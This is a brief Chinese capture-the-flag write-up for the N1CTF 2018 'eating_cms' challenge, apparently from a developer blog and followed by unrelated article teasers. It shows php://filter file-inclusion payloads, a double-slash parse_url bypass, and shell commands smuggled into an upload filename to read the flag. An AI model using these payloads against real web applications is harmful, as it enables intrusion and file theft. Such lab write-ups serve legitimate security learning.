[N1CTF 2018]eating_cms

devtools/2024/12/26 7:41:50/

[N1CTF 2018]eating_cms

知识点

文件上传

解题

这个题感觉还好,知识点真心不难,就是全混在一起。

思路差不多挺离谱

首先看到,有一个登录界面,然后猜测有注册界面

admin注册不了,随便注册一个账号。

注册之后,进行登录。

登录完成,自动进入user.php?page=guest

将page传入伪协议,尝试读取内容

/user.php?page=php://filter/read=convert.base64-encode/resource=user

然后看到包含了function.php

一路包含下去就行

最后看到

/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

发现被拦截

看到 parse_url函数过滤

所以可以使用两个//进行过滤

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

然后看到m4aaannngggeee

最后看到

templates/upload.html

进行访问后看到一个上传界面。

看源代码。。。

发现他是假的。。。。。

真正的在filename。

/user.php?page=m4aaannngggeee

发现真正的上传点

文件名可以直接执行命令

发现过滤了 /

所以利用…进行绕过

;ls ..
;cd ..;cat flag_23333

得到flag


http://www.ppmy.cn/devtools/145040.html

相关文章

TCP为什么需要三次握手和四次挥手?

在 TCP/IP 协议中,三次握手(Three-Way Handshake)和四次挥手(Four-Way Handshake)是为了确保可靠的数据传输和连接的建立与断开。下面将详细讲解这两个过程,并结合实际项目代码示例进行解释。 1. 三次握手(三次握手) 三次握手是用来建立一个 TCP 连接的过程。通过这个…

汽车经销商门店管理新趋势:信息化工具助力精益运营

随着汽车市场竞争日益激烈,新能源汽车的崛起、新零售模式的普及,以及消费者对服务体验需求的不断提高,传统汽车经销商的门店运营正面临严峻挑战。如何在这种充满不确定性的市场中维持竞争力?答案就在于——精益运营。 汽车经销商门…

鸿蒙学习笔记:用户登录界面

文章目录 1. 提出任务2. 完成任务2.1 创建鸿蒙项目2.2 准备图片资源2.3 编写首页代码2.4 启动应用 3. 实战小结 1. 提出任务 本次任务聚焦于运用 ArkUI 打造用户登录界面。需呈现特定元素:一张图片增添视觉感,两个分别用于账号与密码的文本输入框&#…

物联网水文观测设备

物联网水文观测设备的功能涵盖了水文监测的多个方面,以下是其主要功能: 实时数据收集: 物联网水文观测设备能够实时收集水位、流量、水质等参数,实现对水环境的持续监测。这种连续的数据收集方法有助于及时发现和预警水资源问题&a…

Laya ios接入goole广告,开始接入 2

开始使用 | iOS | Google for Developers 谷歌广告的官网,需要搭梯子,API你说详细吧,也就那样,主要是没接过 一步步来吧 0.laya导包 前端出包原生 screenorientation 全部 portrait,我这个是竖屏的 注意这个&a…

排序概述及Python实现

1. 定义与目的 排序是将一组数据按照特定顺序排列的过程,其目的是为了便于数据的查找和处理,提高数据处理效率。 2. 分类 排序可以分为内部排序和外部排序。 2.1 内部排序 内部排序是指所有数据都在内存中进行排序。例如,对一个列表中的…

run postinstall error, please remove node_modules before retry!

下载 node_modules 报错:run postinstall error, please remove node_modules before retry! 原因:node 版本出现错误,我的项目之前是在 12 下运行的。解决方法: 先卸载node_modules清除缓存将node版本切换到12重新下载即可

五分钟学会如何在GitHub上自动化部署个人博客(hugo框架 + stack主题)

上一篇文章: 10分钟学会免费搭建个人博客(Hugo框架 stack主题) 前言 首先,想要实现这个功能的小伙伴需要完成几个前置条件: 有一个GitHub账号安装了git,并可以通过git推送commit到GitHub上完成第一篇文章…